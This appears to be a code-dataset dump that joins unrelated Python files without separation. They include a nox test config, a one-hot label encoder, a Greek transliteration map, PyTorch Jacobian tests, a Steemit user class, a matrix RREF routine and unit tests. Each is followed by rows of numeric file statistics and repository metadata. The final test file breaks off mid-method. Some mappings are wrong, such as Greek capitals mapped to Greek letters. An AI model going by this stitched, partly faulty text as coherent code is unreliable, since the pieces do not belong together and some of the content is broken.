@nox.parametrize(
"pyspark",
[
pyspark
for pyspark in ("2.4.5", "3.0.1","3.1.1")
],)
def tests_in_3_6(session, pyspark):
session.run("python", "-m", "pip", "install", "--upgrade", "pip")
session.install("cmake")
session.install("pytest")
session.install("pytest-order")
session.install("pandas==0.25.3")
session.install("numpy==1.19.5", "--no-deps")
session.install("scipy==1.5.4", "--no-deps")
session.install("node2vec==0.4.3")
session.install("graphframes==0.6.0")
if pyspark == "2.4.5":
session.install("pyarrow==0.14.1", "--no-deps")
else:
session.install("pyarrow==2.0.0", "--no-deps")
session.install("networkx==2.5.1")
session.install(f"pyspark=={pyspark}")
session.run("pytest", "-x","-v", "-W", "ignore::DeprecationWarning")
| 30.163934
| 72
| 0.571196
| 255
| 1,840
| 4.109804
| 0.184314
| 0.320611
| 0.074427
| 0.114504
| 0.844466
| 0.843511
| 0.843511
| 0.843511
| 0.843511
| 0.843511
| 0
| 0.062041
| 0.185326
| 1,840
| 61
| 73
| 30.163934
| 0.637091
| 0
| 0
| 0.705882
| 0
| 0
| 0.32591
| 0.028246
| 0
| 0
| 0
| 0
| 0
| 1
| 0.039216
| false
| 0
| 0.019608
| 0
| 0.058824
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
5f0c59351c3588fe15d6ea4aab3318188813c947
| 8,664
|
py
|
Python
|
code_utils.py
|
janpychou/verification-decoder
|
998cb07eeacb50eada154a47c9ec95f6eb2677be
|
[
"Apache-2.0"
] | 2
|
2017-12-21T01:55:55.000Z
|
2019-07-31T03:48:54.000Z
|
code_utils.py
|
janpychou/verification-decoder
|
998cb07eeacb50eada154a47c9ec95f6eb2677be
|
[
"Apache-2.0"
] | null | null | null |
code_utils.py
|
janpychou/verification-decoder
|
998cb07eeacb50eada154a47c9ec95f6eb2677be
|
[
"Apache-2.0"
] | 3
|
2018-10-13T17:39:52.000Z
|
2020-10-29T03:06:01.000Z
|
import numpy as np
out_place = (
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q',
'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z')
# -------------------------------- how create in_place begin --------------------------------
# in_place = {}
# init_array = [0. for i in range(len(out_place))]
# for i in range(len(out_place)):
# temp_array = init_array.copy()
# temp_array[i] = 1.
# in_place[out_place[i]] = temp_array
# print(in_place)
# --------------------------------- how create in_place end ---------------------------------
in_place = {
0: [1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.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0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0],
'y': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0],
'z': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0]}
def in_transition(code):
assert len(code) == 4, 'just support 4 length code for this beta'
output = []
for index in range(len(code)):
try:
key = int(code[index])
except:
key = code[index]
output.append(in_place[key])
return output
def batch_in_transition(codes):
output = []
for index in range(len(codes)):
output.append(in_transition(code=codes[index]))
return output
def out_transition(label):
output = ''
for index in range(len(label)):
output += str(out_place[np.argmax(label[index])])
return output
def batch_out_transition(labels):
output = []
for index in range(len(labels)):
output.append(out_transition(labels[index]))
return output
def code_eq(code, label):
return in_transition(code) == label
| 69.312
| 119
| 0.393236
| 2,831
| 8,664
| 1.193924
| 0.027905
| 1.470414
| 2.143491
| 2.776331
| 0.808876
| 0.808876
| 0.780473
| 0.767456
| 0.767456
| 0.767456
| 0
| 0.401165
| 0.247345
| 8,664
| 124
| 120
| 69.870968
| 0.11716
| 0.045245
| 0
| 0.278846
| 0
| 0
| 0.011135
| 0
| 0
| 0
| 0
| 0
| 0.009615
| 1
| 0.048077
| false
| 0
| 0.009615
| 0.009615
| 0.105769
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
a0317c0144735decd1e1d0af0a30aae5215e9889
| 623
|
py
|
Python
|
Transliterate/Greek/greekmaps.py
|
melkorchained/LangTransliterate
|
64e67f3a6c7a23c96ae57916292023f0214f7514
|
[
"MIT"
] | null | null | null |
Transliterate/Greek/greekmaps.py
|
melkorchained/LangTransliterate
|
64e67f3a6c7a23c96ae57916292023f0214f7514
|
[
"MIT"
] | null | null | null |
Transliterate/Greek/greekmaps.py
|
melkorchained/LangTransliterate
|
64e67f3a6c7a23c96ae57916292023f0214f7514
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
greek_dict = {
'α':'a','β':'b','γ':'g','δ':'d','ε':'e','ζ':'z',
'η':'ei','θ':'th','ι':'i','κ':'k','λ':'l','μ':'m',
'ν':'n','ξ':'x','ο':'o','π':'p','ρ':'r','σ':'s',
'τ':'t','υ':'u','φ':'ph','χ':'ch','ψ':'ps','ω':'ou',
'Α':'Α','Β':'Β','Γ':'G','Δ':'D','Ε':'E','Ζ':'Z',
'Η':'Ei','Θ':'Th','Ι':'I','Κ':'K','Λ':'L','Μ':'M',
'Ν':'N','Ξ':'X','Ο':'O','Π':'P','Ρ':'R','Σ':'S',
'Τ':'T','Υ':'U','Φ':'Ph','Χ':'Ch','Ψ':'Ps','Ω':'Ou'
}
| 51.916667
| 72
| 0.205457
| 101
| 623
| 1.257426
| 0.524752
| 0.031496
| 0.047244
| 0.062992
| 0.787402
| 0.787402
| 0.787402
| 0.787402
| 0.787402
| 0.787402
| 0
| 0.002342
| 0.314607
| 623
| 12
| 73
| 51.916667
| 0.295082
| 0.033708
| 0
| 0
| 0
| 0
| 0.179701
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a06091558d2b501fabe226b3f7046fce5119f4d3
| 4,106
|
py
|
Python
|
tests/test_generic_api.py
|
gbaydin/difftorch
|
d493091894d0396bce44b819cc13a9491b87e8a3
|
[
"BSD-2-Clause"
] | 30
|
2020-04-22T16:29:44.000Z
|
2021-05-24T08:16:29.000Z
|
tests/test_generic_api.py
|
gbaydin/difftorch
|
d493091894d0396bce44b819cc13a9491b87e8a3
|
[
"BSD-2-Clause"
] | null | null | null |
tests/test_generic_api.py
|
gbaydin/difftorch
|
d493091894d0396bce44b819cc13a9491b87e8a3
|
[
"BSD-2-Clause"
] | null | null | null |
import unittest
import torch
import difftorch as dtorch
class GenericAPITestCase(unittest.TestCase):
def f(self, x, y):
return torch.nn.functional.conv3d(x, y, padding=2, stride=2)
def f2(self, x, y):
return x[0, 0, 0, 0, 0] + y[0, 0, 0, 0, 0], torch.nn.functional.conv3d(x, y, padding=2, stride=2)
def f3(self, x):
return torch.nn.functional.max_pool1d(x, 3)
def test_generic_fjacobianv(self):
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z = self.f(x, y)
xd = x.clone()
yd = y.clone()
zz, jv = dtorch.generic_fjacobianv(self.f, (x, y), (xd, yd))
self.assertTrue(z.shape == jv.shape)
self.assertTrue(z.allclose(zz))
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z1, z2 = self.f2(x, y)
xd = x.clone()
yd = y.clone()
(zz1, zz2), (jv1, jv2) = dtorch.generic_fjacobianv(self.f2, (x, y), (xd, yd))
self.assertTrue(z1.shape == jv1.shape)
self.assertTrue(z2.shape == jv2.shape)
self.assertTrue(z1.allclose(zz1))
self.assertTrue(z2.allclose(zz2))
x = torch.randn([3, 2, 10])
z = self.f3(x)
xd = x.clone()
zz, jv = dtorch.generic_fjacobianv(self.f3, x, xd)
self.assertTrue(z.shape == jv.shape)
self.assertTrue(z.allclose(zz))
def test_generic_jacobianv(self):
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z = self.f(x, y)
xd = x.clone()
yd = y.clone()
jv = dtorch.generic_jacobianv(self.f, (x, y), (xd, yd))
self.assertTrue(z.shape == jv.shape)
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z1, z2 = self.f2(x, y)
xd = x.clone()
yd = y.clone()
jv1, jv2 = dtorch.generic_jacobianv(self.f2, (x, y), (xd, yd))
self.assertTrue(z1.shape == jv1.shape)
self.assertTrue(z2.shape == jv2.shape)
x = torch.randn([3, 2, 10])
z = self.f3(x)
xd = x.clone()
jv = dtorch.generic_jacobianv(self.f3, x, xd)
self.assertTrue(z.shape == jv.shape)
def test_generic_fjacobianTv(self):
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z = self.f(x, y)
zd = z.clone()
zz, (jtvx, jtvy) = dtorch.generic_fjacobianTv(self.f, (x, y), zd)
self.assertTrue(x.shape == jtvx.shape)
self.assertTrue(y.shape == jtvy.shape)
self.assertTrue(z.allclose(zz))
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z1, z2 = self.f2(x, y)
z1d = z1.clone()
z2d = z2.clone()
(zz1, zz2), (jtvx, jtvy) = dtorch.generic_fjacobianTv(self.f2, (x, y), (z1d, z2d))
self.assertTrue(x.shape == jtvx.shape)
self.assertTrue(y.shape == jtvy.shape)
self.assertTrue(z1.allclose(zz1))
self.assertTrue(z2.allclose(zz2))
x = torch.randn([3, 2, 10])
z = self.f3(x)
zd = z.clone()
zz, jtv = dtorch.generic_fjacobianTv(self.f3, x, zd)
self.assertTrue(x.shape == jtv.shape)
self.assertTrue(z.allclose(zz))
def test_generic_jacobianTv(self):
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z = self.f(x, y)
zd = z.clone()
jtvx, jtvy = dtorch.generic_jacobianTv(self.f, (x, y), zd)
self.assertTrue(x.shape == jtvx.shape)
self.assertTrue(y.shape == jtvy.shape)
x = torch.randn([16, 2, 4, 4, 4])
y = torch.randn([3, 2, 3, 3, 3])
z1, z2 = self.f2(x, y)
z1d = z1.clone()
z2d = z2.clone()
jtvx, jtvy = dtorch.generic_jacobianTv(self.f2, (x, y), (z1d, z2d))
self.assertTrue(x.shape == jtvx.shape)
self.assertTrue(y.shape == jtvy.shape)
x = torch.randn([3, 2, 10])
z = self.f3(x)
zd = z.clone()
jtv = dtorch.generic_jacobianTv(self.f3, x, zd)
self.assertTrue(x.shape == jtv.shape)
| 34.504202
| 105
| 0.530687
| 626
| 4,106
| 3.447284
| 0.092652
| 0.168675
| 0.061168
| 0.066728
| 0.835959
| 0.831325
| 0.779425
| 0.725672
| 0.725672
| 0.701112
| 0
| 0.063514
| 0.294447
| 4,106
| 118
| 106
| 34.79661
| 0.681395
| 0
| 0
| 0.745098
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.254902
| 1
| 0.068627
| false
| 0
| 0.029412
| 0.029412
| 0.137255
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a09294e23349ce4067c9a8f49fbb13a2a8342352
| 223
|
py
|
Python
|
pylint_factory/checkers/__init__.py
|
singingwolfboy/pylint-factory
|
1ebb0c8eec349f2212735da3b47c9587fd6627d1
|
[
"MIT"
] | null | null | null |
pylint_factory/checkers/__init__.py
|
singingwolfboy/pylint-factory
|
1ebb0c8eec349f2212735da3b47c9587fd6627d1
|
[
"MIT"
] | null | null | null |
pylint_factory/checkers/__init__.py
|
singingwolfboy/pylint-factory
|
1ebb0c8eec349f2212735da3b47c9587fd6627d1
|
[
"MIT"
] | null | null | null |
"""Checkers."""
from pylint_factory.checkers.factory_installed import FactoryBoyInstalledChecker
def register_checkers(linter):
"""Register checkers."""
linter.register_checker(FactoryBoyInstalledChecker(linter))
| 27.875
| 80
| 0.802691
| 20
| 223
| 8.75
| 0.55
| 0.182857
| 0.251429
| 0.342857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.089686
| 223
| 7
| 81
| 31.857143
| 0.862069
| 0.125561
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a099143cdc69463a034bc75407561aabe6d4160e
| 4,035
|
py
|
Python
|
user.py
|
passionbull/steemit-alarm-posting
|
ec6c7f8a15cc0b1a36a8c2522fe080ca2a696266
|
[
"MIT"
] | 1
|
2021-05-04T15:57:39.000Z
|
2021-05-04T15:57:39.000Z
|
user.py
|
passionbull/steemit-alarm-posting
|
ec6c7f8a15cc0b1a36a8c2522fe080ca2a696266
|
[
"MIT"
] | null | null | null |
user.py
|
passionbull/steemit-alarm-posting
|
ec6c7f8a15cc0b1a36a8c2522fe080ca2a696266
|
[
"MIT"
] | null | null | null |
class User:
def __init__(self, _user_info, num = 0):
if num == 0:
self.id = _user_info['id']
self.tele_id = _user_info['tele_id']
self.target_tag = _user_info['target_tag']
self.targetAuthorCnt = _user_info['targetAuthorCnt']
self.targetAuthors = []
self.pre_tag = None
self.pre_target = ['','','','','','','','','','','']
for x in range(0,self.targetAuthorCnt):
eval_one = 'self.targetAuthors.append(_user_info'+"['targetAuthor_"+str(x)+"'])"
eval(eval_one)
print('My ID is '+ self.id)
print('My tag is '+ self.target_tag)
print('My target Authors are below')
print(self.targetAuthors)
print('')
if num == 1:
self.id = _user_info[1]
self.tele_id = _user_info[0]
self.target_tag = _user_info[2]
self.targetAuthorCnt = 0
for x in range(0,5):
if _user_info[5+x] != 'NULL':
self.targetAuthorCnt = self.targetAuthorCnt +1
self.targetAuthors = []
self.pre_tag = None
self.pre_target = ['','','','','','','','','','','']
for x in range(0,self.targetAuthorCnt):
self.targetAuthors.append(_user_info[5+x])
print('ID is '+ self.id)
print('tag is '+ self.target_tag)
print('target Authors are below')
print(self.targetAuthors)
print('')
def setTargetUsers(self, targetUsers):
self.targetAuthorCnt = 0
for x in range(0,5):
if targetUsers[x] != 'NULL':
self.targetAuthorCnt = self.targetAuthorCnt +1
self.targetAuthors = []
#self.pre_tag = None
#self.pre_target = ['','','','','','','','','','','']
for x in range(0,self.targetAuthorCnt):
if targetUsers[x] != 'NULL':
self.targetAuthors.append(targetUsers[x])
def setTargetTags(self, target_tag):
if target_tag != 'NULL':
self.target_tag = target_tag
def setData(self, _user_info):
self.id = _user_info[1]
self.tele_id = _user_info[0]
if _user_info[2] != 'NULL':
self.target_tag = _user_info[2]
self.targetAuthorCnt = 0
for x in range(0,5):
if _user_info[5+x] != 'NULL':
self.targetAuthorCnt = self.targetAuthorCnt +1
self.targetAuthors = []
#self.pre_tag = None
#self.pre_target = ['','','','','','','','','','','']
for x in range(0,self.targetAuthorCnt):
if _user_info[5+x] != 'NULL':
self.targetAuthors.append(_user_info[5+x])
print('ID is '+ self.id)
print('tag is '+ self.target_tag)
print('target Authors are below')
print(self.targetAuthors)
print('')
def printInfo(self):
print('My ID is '+ self.id)
print('My tag is '+ self.target_tag)
print('My target Authors are below')
print(self.targetAuthors)
print('')
# def __init__(self, _user_db, nn):
# self.id = _user_db[1]
# self.tele_id = _user_db[0]
# self.target_tag = _user_db[2]
# self.targetAuthorCnt = 0
# for x in range(0,5):
# if _user_db[5+x] != 'NULL':
# self.targetAuthorCnt = self.targetAuthorCnt +1
# self.targetAuthors = []
# self.pre_tag = None
# self.pre_target = ['','','','','','','','','','','']
# for x in range(0,self.targetAuthorCnt):
# self.targetAuthors.append(_user_db[5+x])
# print('My ID is '+ self.id)
# print('My tag is '+ self.target_tag)
# print('My target Authors are below')
# print(self.targetAuthors)
# print('')
| 38.798077
| 96
| 0.497893
| 443
| 4,035
| 4.331828
| 0.097065
| 0.079208
| 0.074518
| 0.051589
| 0.819698
| 0.739969
| 0.739969
| 0.732673
| 0.732673
| 0.73111
| 0
| 0.015631
| 0.349938
| 4,035
| 103
| 97
| 39.174757
| 0.715974
| 0.175465
| 0
| 0.75
| 0
| 0
| 0.085351
| 0.010896
| 0.013889
| 0
| 0
| 0
| 0
| 1
| 0.069444
| false
| 0
| 0
| 0
| 0.083333
| 0.291667
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a0a6923224ba1e306294ee96b784465fee39cc60
| 39
|
py
|
Python
|
nautilus/auth/primitives/__init__.py
|
AlecAivazis/python
|
70e2acef27a2f87355590be1a6ca60ce3ab4d09c
|
[
"MIT"
] | 9
|
2019-02-17T01:33:43.000Z
|
2022-02-03T02:14:12.000Z
|
nautilus/auth/primitives/__init__.py
|
AlecAivazis/python
|
70e2acef27a2f87355590be1a6ca60ce3ab4d09c
|
[
"MIT"
] | 59
|
2016-03-14T15:55:50.000Z
|
2016-07-17T15:22:56.000Z
|
nautilus/auth/primitives/__init__.py
|
AlecAivazis/python
|
70e2acef27a2f87355590be1a6ca60ce3ab4d09c
|
[
"MIT"
] | 3
|
2017-08-03T20:18:59.000Z
|
2018-07-18T02:03:41.000Z
|
from .passwordHash import PasswordHash
| 19.5
| 38
| 0.871795
| 4
| 39
| 8.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102564
| 39
| 1
| 39
| 39
| 0.971429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 1
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
2634bf25bfcb63087901cd8915ef374184cedc33
| 160
|
py
|
Python
|
utils/loaders/__init__.py
|
rbg-research/Floor-Plan-Detection
|
c6e63d880e8996eb31eebd70aa7331018392db05
|
[
"MIT"
] | 3
|
2022-01-11T16:42:23.000Z
|
2022-02-21T09:05:25.000Z
|
utils/loaders/__init__.py
|
rbg-research/Floor-Plan-Detection
|
c6e63d880e8996eb31eebd70aa7331018392db05
|
[
"MIT"
] | null | null | null |
utils/loaders/__init__.py
|
rbg-research/Floor-Plan-Detection
|
c6e63d880e8996eb31eebd70aa7331018392db05
|
[
"MIT"
] | 1
|
2021-11-19T07:01:57.000Z
|
2021-11-19T07:01:57.000Z
|
from utils.loaders.svg_loader import FloorplanSVG
from utils.loaders import svg_utils
from utils.loaders.augmentations import *
from utils.loaders import house
| 32
| 49
| 0.85625
| 23
| 160
| 5.869565
| 0.391304
| 0.266667
| 0.474074
| 0.325926
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 160
| 4
| 50
| 40
| 0.9375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
263893856ad3bd4b828bf5d9f77863765171b7c6
| 2,853
|
py
|
Python
|
projects/minesweeper/rref.py
|
Avanta8/mini-projects
|
c7815f3b5b6dc417358d1cc09c1e6651cac594ba
|
[
"MIT"
] | null | null | null |
projects/minesweeper/rref.py
|
Avanta8/mini-projects
|
c7815f3b5b6dc417358d1cc09c1e6651cac594ba
|
[
"MIT"
] | null | null | null |
projects/minesweeper/rref.py
|
Avanta8/mini-projects
|
c7815f3b5b6dc417358d1cc09c1e6651cac594ba
|
[
"MIT"
] | null | null | null |
def rref(matrix):
if not matrix:
return []
width = len(matrix[0])
height = len(matrix)
m = 0
n = 0
while n < width and m < height:
for i in range(m, height):
if matrix[i][n] != 0:
if i != m:
matrix[i], matrix[m] = matrix[m], matrix[i]
break
else:
n += 1
continue
pivot_row = matrix[m]
pivot = pivot_row[n]
for i in range(n, len(pivot_row)):
pivot_row[i] /= pivot
for i, row in enumerate(matrix):
if i == m:
continue
coef = row[n]
for j in range(n, len(row)):
row[j] -= pivot_row[j] * coef
m += 1
n += 1
return matrix
def frref(matrix):
if not matrix:
return []
width = len(matrix[0])
height = len(matrix)
m = 0
n = 0
while n < width and m < height:
for i in range(m, height):
if matrix[i][n] != 0:
if i != m:
matrix[i], matrix[m] = matrix[m], matrix[i]
break
else:
n += 1
continue
pivot_row = matrix[m]
pivot = pivot_row[n]
for i in range(n, len(pivot_row)):
pivot_row[i] //= pivot
for i, row in enumerate(matrix):
if i == m:
continue
coef = row[n]
row[n] = 0
for j in range(n + 1, len(row)):
row[j] -= pivot_row[j] * coef
m += 1
n += 1
return matrix
def main():
# matrix = [
# [1, 1, 1, 1, 0, 0, 0, 1],
# [1, 1, 0, 0, 1, 0, 0, 2],
# [0, 1, 0, 0, 1, 1, 1, 2],
# [0, 1, 1, 0, 1, 0, 1, 1]
# ]
matrix = [
[1, 1, 1, 1, 1, 1, 1, 1, 1, 3],
[0, 0, 1, 1, 0, 0, 0, 0, 0, 1],
[1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
[1, 1, 0, 1, 1, 0, 0, 0, 0, 2],
[0, 1, 0, 1, 1, 0, 1, 1, 1, 3],
[0, 1, 0, 0, 1, 0, 0, 0, 1, 1]
]
# matrix = [
# [1, 1, 1, 1, 1, 1, 1, 1, 1, 3],
# [0, 0, 1, 1, 0, 0, 0, 0, 0, 1],
# [0, 0, 1, 1, 0, 0, 0, 0, 0, 1],
# [1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
# [1, 1, 0, 1, 1, 0, 0, 0, 0, 2],
# [1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
# [0, 1, 0, 1, 1, 0, 1, 1, 1, 3],
# [0, 1, 0, 0, 1, 0, 0, 0, 1, 1]
# ]
# matrix = [
# [1, 1, 1, 1, 1],
# [0, 1, 1, 0, 0],
# [1, 0, 1, 0, 0],
# [0, 0, 1, 0, 1],
# ]
# matrix = [
# [1, 1, 1, 1, 1],
# [0, 1, 1, 0, 0],
# [1, 0, 1, 0, 0],
# [0, 0, 1, 0, 1],
# ]
from copy import deepcopy
print()
for row in rref(deepcopy(matrix)):
print(row)
print()
for row in frref(deepcopy(matrix)):
print(row)
if __name__ == "__main__":
main()
| 24.384615
| 63
| 0.364879
| 455
| 2,853
| 2.248352
| 0.081319
| 0.113392
| 0.102639
| 0.086022
| 0.865103
| 0.831867
| 0.816227
| 0.816227
| 0.808407
| 0.808407
| 0
| 0.146341
| 0.453908
| 2,853
| 116
| 64
| 24.594828
| 0.51027
| 0.207851
| 0
| 0.727273
| 0
| 0
| 0.003586
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.038961
| false
| 0
| 0.012987
| 0
| 0.103896
| 0.051948
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
26485f438bd8a01b6c4a4c8d95be8b139e6c612e
| 7,219
|
py
|
Python
|
tests/test_utils.py
|
vpekar/forecastml
|
55f667c33c5c0b17062117fb271748ef2a0a784e
|
[
"MIT"
] | 2
|
2020-02-10T17:30:34.000Z
|
2021-04-05T22:02:21.000Z
|
tests/test_utils.py
|
vpekar/forecastml
|
55f667c33c5c0b17062117fb271748ef2a0a784e
|
[
"MIT"
] | 1
|
2020-06-25T05:01:35.000Z
|
2020-06-25T08:49:09.000Z
|
tests/test_utils.py
|
vpekar/forecastml
|
55f667c33c5c0b17062117fb271748ef2a0a784e
|
[
"MIT"
] | 1
|
2020-06-24T14:57:42.000Z
|
2020-06-24T14:57:42.000Z
|
from unittest import TestCase, skip
from unittest.mock import Mock
import utils
import data
from utils import prepare_data
from tests.mock_data import get_df, get_preproc_config
class TestCompatibleSetSizes(TestCase):
def setUp(self):
try:
reload(data)
reload(utils)
except NameError:
import importlib
importlib.reload(data)
importlib.reload(utils)
utils.pd.read_csv = Mock(return_value=get_df())
data.Data2d.scale = Mock()
data.Data3d.scale = Mock()
def test_sets(self):
c = get_preproc_config(lags=3)
d_ml = prepare_data(c)
d_lstm = prepare_data(c, dim="3d")
# same shapes
self.assertEqual(d_ml.trainY.shape[0], d_lstm.trainY.shape[0])
self.assertEqual(d_ml.valY.shape[0], d_lstm.valY.shape[0])
self.assertEqual(d_ml.testY.shape[0], d_lstm.testY.shape[0])
# same values
self.assertEqual(d_ml.trainY[0], d_lstm.trainY[0])
self.assertEqual(d_ml.valY[0], d_lstm.valY[0])
self.assertEqual(d_ml.testY[0], d_lstm.testY[0])
class TestUtils3d(TestCase):
def setUp(self):
try:
reload(data)
reload(utils)
except NameError:
import importlib
importlib.reload(data)
importlib.reload(utils)
utils.pd.read_csv = Mock(return_value=get_df())
data.Data3d.scale = Mock()
data.Data3d.decompose = Mock(side_effect=lambda x: x)
data.Data3d.revert = Mock(side_effect=lambda x: x)
def test_Yref(self):
c = get_preproc_config(lags=3, horizon=1)
d = prepare_data(c, dim="3d")
self.assertEqual(d.trainY[c['horizon']-1], d.trainYref[0])
self.assertEqual(d.valY[c['horizon']-1], d.valYref[0])
self.assertEqual(d.testY[c['horizon']-1], d.testYref[0])
def test_get_data__no_exog(self):
c = get_preproc_config(lags=3)
d = prepare_data(c, dim="3d")
self.assertEqual(d.trainX.shape, (21, 3, 1))
self.assertEqual(d.valX.shape, (5, 3, 1))
self.assertEqual(d.testX.shape, (5, 3, 1))
self.assertEqual(d.trainX[0].tolist(), [[12], [22], [32]])
self.assertEqual(d.trainY[0], 42)
self.assertEqual(d.valX[0].tolist(), [[252], [262], [272]])
self.assertEqual(d.valY[0], 282)
self.assertEqual(d.testX[0].tolist(), [[332], [342], [352]])
self.assertEqual(d.testY[0], 362)
def test_get_data_with_exog__intent0(self):
c = get_preproc_config(lags=3, use_exog=True)
d = prepare_data(c, dim="3d")
self.assertEqual(d.trainX.shape, (21, 3, 3))
self.assertEqual(d.valX.shape, (5, 3, 3))
self.assertEqual(d.testX.shape, (5, 3, 3))
self.assertEqual(d.trainX[0].tolist(),
[[10, 11, 12], [20, 21, 22], [30, 31, 32]])
self.assertEqual(d.trainY[0], 42)
self.assertEqual(d.valX[0].tolist(),
[[250, 251, 252], [260, 261, 262], [270, 271, 272]])
self.assertEqual(d.valY[0], 282)
self.assertEqual(d.testX[0].tolist(),
[[330, 331, 332], [340, 341, 342], [350, 351, 352]])
self.assertEqual(d.testY[0], 362)
@skip("Not using intent distance for LSTM")
def test_get_data_with_exog__intent2(self):
c = get_preproc_config(lags=3, use_exog=True, intent_distance=2)
d = prepare_data(c, dim="3d")
self.assertEqual(d.trainX[0].tolist(),
[[10, 11, 32], [20, 21, 42], [30, 31, 52]])
self.assertEqual(d.trainY[0], 62)
self.assertEqual(d.valX[0].tolist(),
[[250, 251, 272], [260, 261, 282], [270, 271, 292]])
self.assertEqual(d.valY[0], 302)
self.assertEqual(d.testX[0].tolist(),
[[330, 331, 352], [340, 341, 362], [350, 351, 372]])
self.assertEqual(d.testY[0], 382)
class TestUtils2d(TestCase):
def setUp(self):
try:
reload(data)
reload(utils)
except NameError:
import importlib
importlib.reload(data)
importlib.reload(utils)
